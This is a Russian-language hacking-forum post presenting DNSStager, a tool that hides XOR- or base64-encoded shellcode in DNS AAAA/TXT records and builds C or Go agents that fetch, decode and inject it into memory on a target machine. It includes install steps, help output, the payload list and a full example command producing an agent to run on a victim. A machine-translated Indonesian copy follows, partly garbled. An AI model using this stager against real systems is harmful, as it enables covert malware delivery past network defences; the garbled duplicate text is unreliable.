• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья DNSStager — скрытие и передачи нагрузки через DNS

Krypt0n

Dispersion
Забанен
Регистрация
14.07.2020
Сообщения
875
Реакции
955
Пожалуйста, обратите внимание, что пользователь заблокирован
DNSStager – это проект с открытым исходным кодом, основанный на Python, который используется для скрытия и передачи вашей полезной нагрузки с помощью DNS.

DNSStager создаст вредоносный DNS-сервер, который обрабатывает DNS-запросы к вашему домену и возвращает ваши полезные данные в качестве ответа на определенные запросы записи, такие как AAAA или TXT записи, после разделения их на куски и кодирования полезной нагрузки с использованием различных алгоритмов.

DNSStager может сгенерировать настраиваемый агент, написанный в Cили GoLang который будет разрешать последовательность доменов, извлекать полезную нагрузку, декодировать ее и, наконец, вводить ее в память на основе любого метода, который вы хотите.

Вы можете редактировать код агента DNSStager по своему усмотрению и создавать его, используя свои собственные методы выполнения.

Основная цель использования DNSStager – помочь красным командам / пентестерам доставлять свои полезные данные по скрытому каналу с использованием DNS.

Как это работает?​

В зависимости от вашего варианта разрешения DNS DNSStager разделит вашу полезную нагрузку на части и сохранит каждый фрагмент полезной нагрузки в качестве ответа для поддомена.

Например, если вы выберете IPV6 вариант получения полезной нагрузки, ответ DNS будет примерно таким:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Где 5648:31d2:6548:8b52:6048:8b52:1848:8b52 часть вашей полезной нагрузки.

Таким образом, агент разрешит некоторые домены, чтобы получить полезную нагрузку, а затем декодировать ее и, наконец, ввести в память.

В настоящее время DNSStager поддерживает только две записи AAAA и TXT. Вы можете кодировать свою полезную нагрузку с помощью XOR для AAAA записи, и по умолчанию она будет закодирована как base64, если вы выберете TXT запись.

Ключевые особенности DNSStager:​

DNSStager имеет несколько ключевых функций, таких как:

  • Скрыть и разрешить полезную нагрузку в IPV6 записях.
  • Скрыть и разрешить полезную нагрузку в TXT записях.
  • Кодировщик XOR для кодирования вашей полезной нагрузки.
  • Кодировщик Base64 для кодирования полезной нагрузки (только для записей TXT).
  • Чистый агент написан C с возможностью его настройки.
  • Чистый агент написан GoLang с возможностью его настройки.
  • Возможность использовать спящий режим между каждым запросом DNS.
  • И МНОГОЕ ДРУГОЕ!

Требования​

Вы можете установить требования Python DNSStager через:
pip3 install -r requirements.txt

Вам необходимо установить GoLang версию 1.16.3 и обязательно установить следующие GoLang пакеты:
  • golang.org/x/sys
  • github.com/miekg/dns
Также не забудьте установить ming-w64 через:
apt install mingw-w64
Сценарий setup.sh должен сделать это за вас, но дважды проверьте требования, прежде чем использовать его!

Монтаж​

Чтобы получить последнюю версию DNSStager, обязательно клонируйте ее из этого репо, используя следующую команду:
git clone https://github.com/mhaskar/DNSStager

Затем вам нужно установить требования, используя следующую команду:
pip3 install -r requirements.txt

И не забудьте установить все ранее упомянутые требования.

После этого вы готовы запустить DNSStager от имени пользователя root, чтобы получить следующее:
┌─[[email protected]]─[/opt/redteaming/DNSStager]
└──╼ $sudo ./dnsstager.py



██████╗░███╗░░██╗░██████╗░██████╗████████╗░█████╗░░██████╗░███████╗██████╗░
██╔══██╗████╗░██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝░██╔════╝██╔══██╗
██║░░██║██╔██╗██║╚█████╗░╚█████╗░░░░██║░░░███████║██║░░██╗░█████╗░░██████╔╝
██║░░██║██║╚████║░╚═══██╗░╚═══██╗░░░██║░░░██╔══██║██║░░╚██╗██╔══╝░░██╔══██╗
██████╔╝██║░╚███║██████╔╝██████╔╝░░░██║░░░██║░░██║╚██████╔╝███████╗██║░░██║
╚═════╝░╚═╝░░╚══╝╚═════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░╚═════╝░╚══════╝╚═╝░░╚═╝

Beta Version Hide your payload in DNS

[-] Please specify a domain name using – domain

Применение​

Чтобы начать использовать DNSStager, не забудьте сначала настроить параметры DNS, вам необходимо сделать так, чтобы ваш домен указывал на экземпляр DNSStager NS record, чтобы обрабатывать все запросы DNS к вашему домену.

Вы можете прочитать эту статью полностью о том, как настроить и использовать DNSStager.

И вы можете проверить параметры, используя -h переключатель, как показано ниже:
┌─[[email protected]]─[/opt/redteaming/DNSStager]
└──╼ $sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX]
[--payload PAYLOAD] [--output OUTPUT]
[--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY]
[--sleep SLEEP]

DNSStager main parser

optional arguments:
-h, – help show this help message and exit
– domain DOMAIN The domain you want to use as staging host
– payloads show all payloads
– prefix PREFIX Prefix to use as part of your subdomain schema
– payload PAYLOAD Payload to use, see – payloads for more details
– output OUTPUT Agent output path
– shellcode_path SHELLCODE_PATH
Shellcode file path
– xorkey XORKEY XOR key to encode your payload with
– sleep SLEEP sleep for N seconds between each DNS request
  • –domain: вы можете использовать эту опцию, чтобы выбрать основной домен, который вы будете использовать для обработки DNS-запросов.
  • – prefix: префикс, который вы хотите использовать для схемы поддомена. Например, если ваш основной домен – это, fakedns.liveвы можете указать префикс, например, «cdn». Таким образом, сгенерированные домены будут иметь следующий шаблон:cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.live
Где N автоматически сгенерированное число представляет количество фрагментов вашей полезной нагрузки.

  • –payload: «агент» полезной нагрузки DNSStager, который вы хотите сгенерировать на основе техники, языка программирования и архитектуры.
  • –output: Выходной путь для сохранения исполняемого “агента” полезной нагрузки DNSStager.
  • –shellcode_path: путь к вашему raw/ binшеллкоду.
  • –xorkey: ключ XOR для кодирования полезной нагрузки.
  • –sleep: используется для перехода в спящий режим в течение N секунд между каждым запросом DNS.

Полезные данные DNSStager​

Чтобы проверить доступные полезные данные DNSStager, вы можете использовать ./dnsstager.py – payloads для получения следующих результатов:
┌─[[email protected]]─[/opt/redteaming/DNSStager]
└──╼ $sudo ./dnsstager.py – payloads

[+] 6 DNSStager payloads Available

x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

Пример использования DNSStager с IPV6​

В этом примере запускается DNSStager для разрешения вашей полезной нагрузки с IPV6 использованием домена test.mydnsserver.liveс префиксом cloud-srv- для создания скомпилированного x64 Cагента, закодированного с помощью ключа 0x10:

sudo ./dnsstager.py – domain test.mydnsserver.live – payload x64/c/ipv6 – output /tmp/a2.exe – prefix cloud-srv- – shellcode_path ~/payload.bin – sleep 1 – xorkey 0x10

И вывод будет:
eKTB7EXSIvM.jpg


И чтобы проверить, все ли работает, отправим DNS-запрос на cloud-srv-0.test.mydnsserver.live адрес, чтобы получить следующее:
rNGcc-BLnio.jpg


Мы видим, что в f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b качестве ответа мы получили первые 16 байтов нашей закодированной полезной нагрузки.

Затем вы можете запустить агент /tmp/a2.exe (как указано в параметре –output в строке команды) на целевой машине, и он загрузит все требуемые фрагменты, декодирует их и вставит в память для вас.

Источник
 
DNSStager adalah proyek open source berbasis Python yang digunakan untuk menyembunyikan dan meneruskan payload Anda menggunakan DNS.

DNSStager akan membuat server DNS berbahaya yang menangani permintaan DNS ke domain Anda dan mengembalikan muatan Anda sebagai respons terhadap permintaan catatan tertentu, seperti catatan AAAA atau TXT, setelah membaginya menjadi beberapa bagian dan mengkodekan muatan menggunakan berbagai algoritme.

DNSStager dapat menghasilkan agen kustom yang ditulis dalam C atau GoLang yang akan menyelesaikan urutan domain, mengekstrak payload, mendekodekannya, dan akhirnya memasukkannya ke dalam memori berdasarkan metode apa pun yang Anda inginkan.

Anda dapat mengedit kode agen DNSStager sesuka Anda dan membuatnya menggunakan metode eksekusi Anda sendiri.

Tujuan utama menggunakan DNSStager adalah untuk membantu tim merah/pentester mengirimkan muatan mereka melalui saluran rahasia menggunakan DNS.

Bagaimana itu bekerja?​

Bergantung pada opsi resolusi DNS Anda, DNSStager akan membagi muatan Anda menjadi beberapa bagian dan menyimpan setiap fragmen muatan sebagai respons subdomain.

Misalnya, jika Anda memilih opsi payload IPV6, respons DNS akan menjadi seperti ini:
cloud-srv-1.test.mydnsserver.live. 300 DI AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Di mana 5648:31d2:6548:8b52:6048:8b52:1848:8b52 adalah bagian dari muatan Anda.

Jadi agen akan menyelesaikan beberapa domain untuk menerima payload dan kemudian mendekodekannya dan akhirnya memasukkannya ke dalam memori.

Saat ini, DNSStager hanya mendukung dua record, AAAA dan TXT. Anda dapat mengkodekan XOR muatan Anda ke catatan AAAA, dan itu akan dikodekan sebagai base64 secara default jika Anda memilih catatan TXT.

Fitur utama DNSStager:​

DNSStager memiliki beberapa fitur utama seperti:

  • Sembunyikan dan aktifkan payload di data IPv6.
  • Sembunyikan dan aktifkan payload di data TXT.
  • Encoder XOR untuk mengkodekan muatan Anda.
  • Encoder Base64 untuk encoding payload (hanya untuk data TXT).
  • Agen murni ditulis dalam C dengan kemampuan untuk menyesuaikannya.
  • Agen murni ditulis oleh GoLang dengan kemampuan untuk menyesuaikannya.
  • Kemampuan untuk menggunakan mode tidur di antara setiap kueri DNS.
  • DAN BANYAK LAGI!

Persyaratan​

Anda dapat menginstal persyaratan Python DNSStager melalui:
instal pip3 -r requirements.txt

Anda perlu menginstal GoLang versi 1.16.3 dan pastikan untuk menginstal paket GoLang berikut:
  • golang.org/x/sys
  • github.com/miekg/dns
Juga jangan lupa untuk menginstal ming-w64 melalui:
tepat menginstal mingw-w64
Skrip setup.sh seharusnya melakukan ini untuk Anda, tetapi periksa kembali persyaratannya sebelum menggunakannya!

pemasangan​

Untuk mendapatkan DNSStager versi terbaru, pastikan untuk mengkloningnya dari repo ini menggunakan perintah berikut:
git clone https://github.com/mhaskar/DNSStager

Kemudian Anda perlu menginstal persyaratan menggunakan perintah berikut:
instal pip3 -r requirements.txt

Dan jangan lupa untuk menginstal semua persyaratan yang disebutkan sebelumnya.

Setelah itu, Anda siap menjalankan DNSStager sebagai root untuk mendapatkan yang berikut:
[BOCORAN]
[[dilindungi email]]─[/opt/redteaming/DNSStager]
$sudo ./dnsstager.py



perekam es succumbic █╗░███████╗██████╗░
icket aper arn arn arn shiparn╗ arn╔
██║░░██║██╔██╗██║╚█████╗░╚█████╗░░░░██║░░░███████║██║░░██╗░█████╗░░██████╔╝
██║░░██║██║╚████║░╚═══██╗░╚═══██╗░░░██║░░░██╔══██║██║░░╚██╗██╔══╝░░██╔══██╗
██████╔╝██║░╚███║██████╔╝██████╔╝░░░██║░░░██║░░██║╚██████╔╝███████╗██║░░██║
╚═════╝░╚═╝░░╚══╝╚═════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░╚═════╝░╚══════╝╚═╝░░╚═╝

Beta Version Hide your payload in DNS

[-] Please specify a domain name using – domain
[/SPOILER]

Применение​

Чтобы начать использовать DNSStager, не забудьте сначала настроить параметры DNS, вам необходимо сделать так, чтобы ваш домен указывал на экземпляр DNSStager NS record, чтобы обрабатывать все запросы DNS к вашему домену.

Вы можете прочитать эту статью полностью о том, как настроить и использовать DNSStager.

И вы можете проверить параметры, используя -h переключатель, как показано ниже:
[BOCORAN]
[[dilindungi email]]─[/opt/redteaming/DNSStager]
$sudo ./dnsstager.py -h
penggunaan: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX]
[--payload PAYLOAD] [--output OUTPUT]
[--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY]
[--tidur tidur]

Pengurai utama DNSStager

argumen opsional:
-h, –help tampilkan pesan bantuan ini dan keluar
– domain DOMAIN Domain yang ingin Anda gunakan sebagai host pementasan
– muatan menunjukkan semua muatan
– awalan PREFIX Awalan untuk digunakan sebagai bagian dari skema subdomain Anda
– payload PAYLOAD Payload untuk digunakan, – payload untuk lebih lanjut lihat detail
– keluaran OUTPUT Jalur keluaran agen
– shellcode_path SHELLCODE_PATH
jalur file kode shell
– xorkey XORKEY XOR key untuk mengkodekan muatan Anda dengan
– tidur TIDUR tidur selama N detik antara setiap permintaan DNS
[/BOCORAN]
  • --domain: Anda dapat menggunakan opsi ini untuk memilih domain utama yang akan Anda gunakan untuk menangani kueri DNS.
  • – awalan: Awalan yang ingin Anda gunakan untuk skema subdomain. Misalnya, jika domain utama Anda adalah fakedns.live, Anda dapat menentukan awalan seperti "cdn". Jadi domain yang dihasilkan akan memiliki pola berikut: cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.live
Di mana N adalah angka yang dihasilkan secara otomatis yang mewakili jumlah fragmen dalam muatan Anda.

  • --payload: "agen" payload DNSStager yang ingin Anda buat berdasarkan teknik, bahasa pemrograman, dan arsitektur.
  • --output: Jalur keluaran untuk menyimpan "agen" yang dapat dieksekusi dari muatan DNSStager.
  • --shellcode_path: jalur ke kode shell mentah/bin Anda.
  • --xorkey: kunci XOR untuk mengkodekan muatan.
  • --sleep: Digunakan untuk tidur selama N detik antara setiap permintaan DNS.

DNSStager Payload​

Untuk memeriksa payload DNSStager yang tersedia, Anda dapat menggunakan ./dnsstager.py - payloads untuk mendapatkan hasil berikut:
[BOCORAN]
[[dilindungi email]]─[/opt/redteaming/DNSStager]
$sudo ./dnsstager.py - payloads

[+] 6 payload DNSStage Tersedia

x64/c/ipv6 Selesaikan payload Anda karena alamat IPV6 di-xor dengan kunci khusus melalui kode x64 C yang dikompilasi
x86/c/ipv6 Selesaikan payload Anda karena alamat IPV6 di-xor dengan kunci khusus melalui kode x86 C yang dikompilasi
x64/golang/txt Selesaikan payload Anda sebagai catatan TXT yang dikodekan menggunakan kode x64 GoLang yang dikompilasi base64
x64/golang/ipv6 Selesaikan payload Anda sebagai alamat IPV6 yang dikodekan dengan kunci khusus menggunakan byte add encoding melalui kode x64 GoLang yang dikompilasi
x86/golang/txt Selesaikan payload Anda sebagai catatan TXT yang dikodekan menggunakan kode x86 GoLang yang dikompilasi base64
x86/golang/ipv6 Selesaikan payload Anda sebagai alamat IPV6 yang dikodekan dengan kunci khusus menggunakan byte add encoding melalui kode x86 GoLang yang dikompilasi
[/BOCORAN]

Contoh penggunaan DNSStager dengan IPV6​

Contoh ini menjalankan DNSStager untuk menyelesaikan payload IPV6 Anda menggunakan domain test.mydnsserver.live yang diawali dengan cloud-srv- untuk membuat Agen terkompilasi x64 yang dikodekan dengan kunci 0x10:

sudo ./dnsstager.py - domain test.mydnsserver.live - payload x64/c/ipv6 - output /tmp/a2.exe - awalan cloud-srv- - shellcode_path ~/payload.bin - sleep 1 - xorkey 0x10

Dan outputnya akan menjadi:
[LAMPIRAN=penuh]24592[/LAMPILAN]

Dan untuk memeriksa apakah semuanya berfungsi, kami mengirim permintaan DNS ke alamat cloud-srv-0.test.mydnsserver.live untuk mendapatkan yang berikut:
[LAMPIRAN=penuh]24593[/LAMPIRAN]

Kami melihat bahwa di f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b kami menerima 16 byte pertama dari muatan yang dikodekan sebagai tanggapan.

Anda kemudian dapat menjalankan agen /tmp/a2.exe (seperti yang ditentukan oleh opsi --output pada baris perintah) pada mesin target dan itu akan mengunduh semua fragmen yang diperlukan, mendekodekannya, dan memasukkannya ke dalam memori untuk Anda.

Sumber
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх